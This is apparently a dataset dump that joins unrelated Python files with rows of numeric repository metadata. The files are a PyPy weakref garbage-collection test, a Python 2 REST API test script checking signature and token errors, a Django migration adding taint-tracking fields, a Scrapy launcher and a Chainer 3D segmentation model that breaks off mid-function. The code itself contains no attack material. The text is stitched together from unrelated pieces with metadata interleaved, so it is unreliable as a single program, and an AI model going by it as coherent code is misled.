env = {'PYPY_GC_NURSERY': '1k'}
subprocess.run([sys.executable, str(testfile)], env=env, check=True)
def test_WeakKeyDictionary_len(tmpdir):
src = textwrap.dedent("""
from weakref import WeakKeyDictionary
class Foo:
pass
N = 1000
D = WeakKeyDictionary()
for i in range(N):
D[Foo()] = i
for i in range(10):
x = len(D)
print('OK')
""")
testfile = tmpdir.join('testfile.py')
testfile.write(src)
#
# by setting a very small PYPY_GC_NURSERY value, we force running a minor
# collection inside WeakValueDictionary.__len__. We just check that the
# snippet above completes correctly, instead of raising "dictionary
# changed size during iteration"
env = {'PYPY_GC_NURSERY': '1k'}
subprocess.run([sys.executable, str(testfile)], env=env, check=True)
| 30.377358
| 77
| 0.624224
| 196
| 1,610
| 5.02551
| 0.352041
| 0.016244
| 0.024365
| 0.04467
| 0.828426
| 0.828426
| 0.765482
| 0.765482
| 0.678173
| 0.678173
| 0
| 0.012059
| 0.278882
| 1,610
| 52
| 78
| 30.961538
| 0.836348
| 0.296273
| 0
| 0.702703
| 0
| 0
| 0.516934
| 0.018717
| 0
| 0
| 0
| 0
| 0
| 1
| 0.054054
| false
| 0.054054
| 0.135135
| 0
| 0.189189
| 0.054054
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
df417b5111f402c4573aa57bb7aae122c356d013
| 11,166
|
py
|
Python
|
testcases/test_4_get_domain.py
|
evilbrave/REST_API_TESTCASES
|
dccfddf2030adbf8188e0e7bf6dbfa4fa581a420
|
[
"MIT"
] | 1
|
2018-08-07T21:53:52.000Z
|
2018-08-07T21:53:52.000Z
|
testcases/test_4_get_domain.py
|
evilbrave/REST_API_TESTCASES
|
dccfddf2030adbf8188e0e7bf6dbfa4fa581a420
|
[
"MIT"
] | null | null | null |
testcases/test_4_get_domain.py
|
evilbrave/REST_API_TESTCASES
|
dccfddf2030adbf8188e0e7bf6dbfa4fa581a420
|
[
"MIT"
] | 1
|
2019-01-31T13:57:34.000Z
|
2019-01-31T13:57:34.000Z
|
import requests
from signature import Signature
import common_data
import test_1_device_auth
from requests.utils import quote
url = common_data.oss_url
#url = "http://127.0.0.1:8888"
path = "/v1/domains/"
def init_headers(headers):
headers['X-Api-Key'] = common_data.x_api_key
headers['X-Signature'] = ""
return headers
def init_body_content(body_content):
body_content['certificate_serial'] = common_data.certificate_serial
body_content['access_token'] = ""
return body_content
def testcase_0(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
concat_dict = body_content.copy()
concat_dict['domain'] = domain
concat_text = common_data.get_concat_text(concat_dict)
signature = Signature()
signature.load_key(common_data.certificate_serial)
signed_signature = signature.sign(concat_text)
headers['X-Signature'] = signed_signature
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 200 :
print "TEST CASE 0 OK"
else:
print "TEST CASE 0 FAILED"
print response.status_code
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
def testcase_1(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
headers.pop('X-Api-Key')
concat_dict = body_content.copy()
concat_dict['domain'] = domain
concat_text = common_data.get_concat_text(concat_dict)
signature = Signature()
signature.load_key(common_data.certificate_serial)
signed_signature = signature.sign(concat_text)
headers['X-Signature'] = signed_signature
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 400 :#and response.json()['code'] == "400.0":
print "TEST CASE 1 OK"
else:
print "TEST CASE 1 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
def testcase_2(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
headers.pop('X-Signature')
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 400 and response.json()['code'] == "400.0":
print "TEST CASE 2 OK"
else:
print "TEST CASE 2 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
def testcase_3(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
domain = ""
concat_dict = body_content.copy()
concat_dict['domain'] = domain
concat_text = common_data.get_concat_text(concat_dict)
signature = Signature()
signature.load_key(common_data.certificate_serial)
signed_signature = signature.sign(concat_text)
headers['X-Signature'] = signed_signature
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 400 :#and response.json()['code'] == "400.0":
print "TEST CASE 3 OK"
else:
print "TEST CASE 3 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
# no certificate serial
def testcase_4(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
body_content.pop('certificate_serial')
concat_dict = body_content.copy()
concat_dict['domain'] = domain
concat_text = common_data.get_concat_text(concat_dict)
signature = Signature()
signature.load_key(common_data.certificate_serial)
signed_signature = signature.sign(concat_text)
headers['X-Signature'] = signed_signature
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 400 and response.json()['code'] == "400.2":
print "TEST CASE 4 OK"
else:
print "TEST CASE 4 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
# no access token
def testcase_5(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
body_content.pop('access_token')
concat_dict = body_content.copy()
concat_dict['domain'] = domain
concat_text = common_data.get_concat_text(concat_dict)
signature = Signature()
signature.load_key(common_data.certificate_serial)
signed_signature = signature.sign(concat_text)
headers['X-Signature'] = signed_signature
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 400 and response.json()['code'] == "400.6":
print "TEST CASE 5 OK"
else:
print "TEST CASE 5 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
# invalid x-api-key
def testcase_6(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
headers['X-Api-Key'] = "INVALID_X_API_KEY"
concat_dict = body_content.copy()
concat_dict['domain'] = domain
concat_text = common_data.get_concat_text(concat_dict)
signature = Signature()
signature.load_key(common_data.certificate_serial)
signed_signature = signature.sign(concat_text)
headers['X-Signature'] = signed_signature
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 400:# and response.json()['code'] == "400.6":
print "TEST CASE 6 OK"
else:
print "TEST CASE 6 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
# invalid x-signature
def testcase_7(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
headers['X-Signature'] = "INVALID_X_SIGNATURE"
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 400 and response.json()['code'] == "400.1":
print "TEST CASE 7 OK"
else:
print "TEST CASE 7 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
# invalid domain
def testcase_8(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
domain = "INVALID_DOMAIN@"
concat_dict = body_content.copy()
concat_dict['domain'] = quote(domain)
concat_text = common_data.get_concat_text(concat_dict)
print concat_text
concat_text = body_content['access_token'] + body_content['certificate_serial'] + "INVALID_DOMAIN@"
signature = Signature()
signature.load_key(common_data.certificate_serial)
signed_signature = signature.sign(concat_text)
print signed_signature
headers['X-Signature'] = signed_signature
print quote(domain)
response = requests.get(url + path + quote(domain), params=body_content, headers=headers)
if response.status_code == 400:# and response.json()['code'] == "400.6":
print "TEST CASE 8 OK"
else:
print "TEST CASE 8 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
# invalid certificate serial
def testcase_9(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
body_content['certificate_serial'] = "INVALID_CERTIFICATE_SERIAL"
concat_dict = body_content.copy()
concat_dict['domain'] = domain
concat_text = common_data.get_concat_text(concat_dict)
signature = Signature()
signature.load_key(common_data.certificate_serial)
signed_signature = signature.sign(concat_text)
headers['X-Signature'] = signed_signature
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 400 and response.json()['code'] == "400.3":
print "TEST CASE 9 OK"
else:
print "TEST CASE 9 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
# invalid access_token
def testcase_10(headers, body_content, domain):
headers = headers.copy()
body_content = body_content.copy()
body_content['access_token'] = "INVALID_ACCESS_TOKEN"
concat_dict = body_content.copy()
concat_dict['domain'] = domain
concat_text = common_data.get_concat_text(concat_dict)
signature = Signature()
signature.load_key(common_data.certificate_serial)
signed_signature = signature.sign(concat_text)
headers['X-Signature'] = signed_signature
response = requests.get(url + path + domain, params=body_content, headers=headers)
if response.status_code == 400 and response.json()['code'] == "401.0":
print "TEST CASE 10 OK"
else:
print "TEST CASE 10 FAILED"
print response.status_code
print "HTTP Path: " + url + path + domain
print "HTTP Header:" + str(headers)
print "HTTP Body:" + str(body_content)
print response.text
if __name__ == '__main__':
# set headers
headers = dict()
headers = init_headers(headers)
# set body
body_content = dict()
init_body_content(body_content)
sso_tokens = test_1_device_auth.get_device_authentication_token()
if sso_tokens.has_key('access_token') and sso_tokens.has_key('refresh_token'):
body_content['access_token'] = sso_tokens['access_token']
else:
print "[Error] init access token failed!"
exit(-1)
domain = "TEST_DOMAIN"
testcase_0(headers, body_content, domain)
# testcase_1(headers, body_content, domain)
# testcase_2(headers, body_content, domain)
# testcase_3(headers, body_content, domain)
# testcase_4(headers, body_content, domain)
# testcase_5(headers, body_content, domain)
# testcase_6(headers, body_content, domain)
# testcase_7(headers, body_content, domain)
# testcase_8(headers, body_content, domain)
# testcase_9(headers, body_content, domain)
# testcase_10(headers, body_content, domain)
| 33.734139
| 103
| 0.683772
| 1,421
| 11,166
| 5.152006
| 0.05841
| 0.135227
| 0.054091
| 0.072121
| 0.866958
| 0.815326
| 0.755225
| 0.751263
| 0.751263
| 0.744844
| 0
| 0.015249
| 0.207147
| 11,166
| 331
| 104
| 33.734139
| 0.811702
| 0.06878
| 0
| 0.663968
| 0
| 0
| 0.127036
| 0.002506
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.020243
| null | null | 0.323887
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
df4edf39c17bcca5a63c3a09f3feacf875f6531e
| 144
|
py
|
Python
|
03_zhihu/start.py
|
GongkunJiang/MySpider
|
8c088f696679b13568843af521279f9f25f40314
|
[
"MIT"
] | null | null | null |
03_zhihu/start.py
|
GongkunJiang/MySpider
|
8c088f696679b13568843af521279f9f25f40314
|
[
"MIT"
] | null | null | null |
03_zhihu/start.py
|
GongkunJiang/MySpider
|
8c088f696679b13568843af521279f9f25f40314
|
[
"MIT"
] | null | null | null |
# coding=utf-8
from scrapy import cmdline
# cmdline.execute('scrapy crawl itcast'.split())
cmdline.execute('scrapy crawl zhihuSpider'.split())
| 24
| 51
| 0.763889
| 19
| 144
| 5.789474
| 0.631579
| 0.254545
| 0.363636
| 0.454545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007692
| 0.097222
| 144
| 6
| 51
| 24
| 0.838462
| 0.409722
| 0
| 0
| 0
| 0
| 0.289157
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
df614e806795ffe9d06b308463776550ba8fc85f
| 7,072
|
py
|
Python
|
lfs/catalog/migrations/0007_auto_20210405_1816.py
|
michael-hahn/django-lfs
|
26c3471a8f8d88269c84f714f507b952dfdb6397
|
[
"BSD-3-Clause"
] | null | null | null |
lfs/catalog/migrations/0007_auto_20210405_1816.py
|
michael-hahn/django-lfs
|
26c3471a8f8d88269c84f714f507b952dfdb6397
|
[
"BSD-3-Clause"
] | null | null | null |
lfs/catalog/migrations/0007_auto_20210405_1816.py
|
michael-hahn/django-lfs
|
26c3471a8f8d88269c84f714f507b952dfdb6397
|
[
"BSD-3-Clause"
] | null | null | null |
# Generated by Django 3.1.2 on 2021-04-05 18:16
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('catalog', '0006_auto_20210405_1803'),
]
operations = [
migrations.AddField(
model_name='deliverytime',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='deliverytime',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='deliverytime',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='file',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='file',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='file',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='filterstep',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='filterstep',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='filterstep',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='groupspropertiesrelation',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='groupspropertiesrelation',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='groupspropertiesrelation',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='image',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='image',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='image',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='product',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='product',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='product',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='productaccessories',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='productaccessories',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='productaccessories',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='productattachment',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='productattachment',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='productattachment',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='productpropertyvalue',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='productpropertyvalue',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='productpropertyvalue',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='productspropertiesrelation',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='productspropertiesrelation',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='productspropertiesrelation',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='property',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='property',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='property',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='propertygroup',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='propertygroup',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='propertygroup',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='propertyoption',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='propertyoption',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='propertyoption',
name='trusted',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='staticblock',
name='synthesized',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='staticblock',
name='taints',
field=models.BigIntegerField(default=0),
),
migrations.AddField(
model_name='staticblock',
name='trusted',
field=models.BooleanField(default=True),
),
]
| 31.571429
| 53
| 0.543269
| 533
| 7,072
| 7.123827
| 0.099437
| 0.199105
| 0.254411
| 0.298657
| 0.960495
| 0.960495
| 0.804056
| 0.792204
| 0.792204
| 0.792204
| 0
| 0.009732
| 0.346154
| 7,072
| 223
| 54
| 31.713004
| 0.811419
| 0.006363
| 0
| 0.967742
| 1
| 0
| 0.132811
| 0.024626
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.004608
| 0
| 0.018433
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
df637f40566f048110b84a7f137812727cacbbce
| 38
|
py
|
Python
|
pyramid_caching_api/__init__.py
|
jvanasco/pyramid_caching_api
|
91d2993c50f2c1bbccab6e04b2a7aa4a86993ac9
|
[
"MIT"
] | null | null | null |
pyramid_caching_api/__init__.py
|
jvanasco/pyramid_caching_api
|
91d2993c50f2c1bbccab6e04b2a7aa4a86993ac9
|
[
"MIT"
] | null | null | null |
pyramid_caching_api/__init__.py
|
jvanasco/pyramid_caching_api
|
91d2993c50f2c1bbccab6e04b2a7aa4a86993ac9
|
[
"MIT"
] | null | null | null |
from . import api
from . import utils
| 12.666667
| 19
| 0.736842
| 6
| 38
| 4.666667
| 0.666667
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.210526
| 38
| 2
| 20
| 19
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
80113568d9eec7784d02099af9484161a7cdfbaa
| 20,926
|
py
|
Python
|
src/lib/model.py
|
Timokleia/QCANet
|
e2934e381197e2b80bbe24fa5abbe87ed616a8c1
|
[
"MIT"
] | 26
|
2018-06-02T01:50:28.000Z
|
2022-01-18T20:20:13.000Z
|
src/lib/model.py
|
Timokleia/QCANet
|
e2934e381197e2b80bbe24fa5abbe87ed616a8c1
|
[
"MIT"
] | 7
|
2018-11-30T13:43:10.000Z
|
2021-01-16T11:15:28.000Z
|
src/lib/model.py
|
Timokleia/QCANet
|
e2934e381197e2b80bbe24fa5abbe87ed616a8c1
|
[
"MIT"
] | 7
|
2018-06-20T07:58:59.000Z
|
2022-03-17T07:37:28.000Z
|
# -*- coding: utf-8 -*-
import numpy as np
import chainer
from chainer import cuda, Function, Variable
from chainer import Link, Chain, ChainList
import chainer.functions as F
import chainer.links as L
from src.lib.loss import softmax_dice_loss
class Model_L2(Chain):
def __init__(
self,
ndim=3,
n_class=2,
init_channel=2,
kernel_size=3,
pool_size=2,
ap_factor=2,
gpu=-1,
class_weight=np.array([1, 1]).astype(np.float32),
loss_func='F.softmax_cross_entropy'
):
self.gpu = gpu
self.pool_size = pool_size
if gpu >= 0:
self.class_weight = cuda.to_gpu(np.array(class_weight).astype(np.float32))
else:
self.class_weight = np.array(class_weight).astype(np.float32)
self.train = True
self.loss_func = loss_func
initializer = chainer.initializers.HeNormal()
super(Model_L2, self).__init__(
c0=L.ConvolutionND(ndim, 1, init_channel, kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c1=L.ConvolutionND(ndim, init_channel, int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c2=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c3=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c4=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c5=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 3)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc0=L.DeconvolutionND(ndim, int(init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 3)), self.pool_size, self.pool_size, 0, initialW=initializer, initial_bias=None),
dc1=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2) + init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc2=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc3=L.DeconvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 2)), self.pool_size, self.pool_size, 0, initialW=initializer, initial_bias=None),
dc4=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1) + init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc5=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc6=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), n_class, 1, 1, initialW=initializer, initial_bias=None),
bnc0=L.BatchNormalization(init_channel),
bnc1=L.BatchNormalization(int(init_channel * (ap_factor ** 1))),
bnc2=L.BatchNormalization(int(init_channel * (ap_factor ** 1))),
bnc3=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bnc4=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bnc5=L.BatchNormalization(int(init_channel * (ap_factor ** 3))),
bndc1=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bndc2=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bndc4=L.BatchNormalization(int(init_channel * (ap_factor ** 1))),
bndc5=L.BatchNormalization(int(init_channel * (ap_factor ** 1)))
)
def _calc(self, x):
e0 = F.relu(self.bnc0(self.c0(x)))
syn0 = F.relu(self.bnc1(self.c1(e0)))
del e0
e1 = F.max_pooling_nd(syn0, self.pool_size, self.pool_size)
e2 = F.relu(self.bnc2(self.c2(e1)))
syn1 = F.relu(self.bnc3(self.c3(e2)))
del e1, e2
e3 = F.max_pooling_nd(syn1, self.pool_size, self.pool_size)
e4 = F.relu(self.bnc4(self.c4(e3)))
e5 = F.relu(self.bnc5(self.c5(e4)))
del e3, e4
d0 = F.concat([self.dc0(e5), syn1])
del e5, syn1
d1 = F.relu(self.bndc1(self.dc1(d0)))
d2 = F.relu(self.bndc2(self.dc2(d1)))
del d0, d1
d3 = F.concat([self.dc3(d2), syn0])
del d2, syn0
d4 = F.relu(self.bndc4(self.dc4(d3)))
d5 = F.relu(self.bndc5(self.dc5(d4)))
del d3, d4
d6 = self.dc6(d5)
del d5
return d6
def __call__(self, x, t=None, seg=True):
h = self._calc(x)
if seg:
pred = F.softmax(h)
del h
return pred.data
else:
#loss = eval(self.loss_func)(h, t, class_weight=self.class_weight)
loss = eval(self.loss_func)(h, t)
pred = F.softmax(h)
del h
return loss, pred.data
class Model_L3(Chain):
def __init__(
self,
ndim=3,
n_class=2,
init_channel=2,
kernel_size=3,
pool_size=2,
ap_factor=2,
gpu=-1,
class_weight=np.array([1, 1]).astype(np.float32),
loss_func='F.softmax_cross_entropy'
):
self.gpu = gpu
self.pool_size = pool_size
if gpu >= 0:
self.class_weight = cuda.to_gpu(np.array(class_weight).astype(np.float32))
else:
self.class_weight = np.array(class_weight).astype(np.float32)
self.train = True
self.loss_func = loss_func
initializer = chainer.initializers.HeNormal()
super(Model_L3, self).__init__(
c0=L.ConvolutionND(ndim, 1, init_channel, kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c1=L.ConvolutionND(ndim, init_channel, int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c2=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c3=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c4=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c5=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 3)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c6=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 3)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c7=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 4)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc0=L.DeconvolutionND(ndim, int(init_channel * (ap_factor ** 4)), int(init_channel * (ap_factor ** 4)), self.pool_size, self.pool_size, 0, initialW=initializer, initial_bias=None),
dc1=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 3) + init_channel * (ap_factor ** 4)), int(init_channel * (ap_factor ** 3)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc2=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 3)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc3=L.DeconvolutionND(ndim, int(init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 3)), self.pool_size, self.pool_size, 0, initialW=initializer, initial_bias=None),
dc4=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2) + init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc5=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc6=L.DeconvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 2)), self.pool_size, self.pool_size, 0, initialW=initializer, initial_bias=None),
dc7=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1) + init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc8=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc9=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), n_class, 1, 1, initialW=initializer, initial_bias=None),
bnc0=L.BatchNormalization(init_channel),
bnc1=L.BatchNormalization(int(init_channel * (ap_factor ** 1))),
bnc2=L.BatchNormalization(int(init_channel * (ap_factor ** 1))),
bnc3=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bnc4=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bnc5=L.BatchNormalization(int(init_channel * (ap_factor ** 3))),
bnc6=L.BatchNormalization(int(init_channel * (ap_factor ** 3))),
bnc7=L.BatchNormalization(int(init_channel * (ap_factor ** 4))),
bndc1=L.BatchNormalization(int(init_channel * (ap_factor ** 3))),
bndc2=L.BatchNormalization(int(init_channel * (ap_factor ** 3))),
bndc4=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bndc5=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bndc7=L.BatchNormalization(int(init_channel * (ap_factor ** 1))),
bndc8=L.BatchNormalization(int(init_channel * (ap_factor ** 1)))
)
def _calc(self, x):
e0 = F.relu(self.bnc0(self.c0(x)))
syn0 = F.relu(self.bnc1(self.c1(e0)))
del e0
e1 = F.max_pooling_nd(syn0, self.pool_size, self.pool_size)
e2 = F.relu(self.bnc2(self.c2(e1)))
syn1 = F.relu(self.bnc3(self.c3(e2)))
del e1, e2
e3 = F.max_pooling_nd(syn1, self.pool_size, self.pool_size)
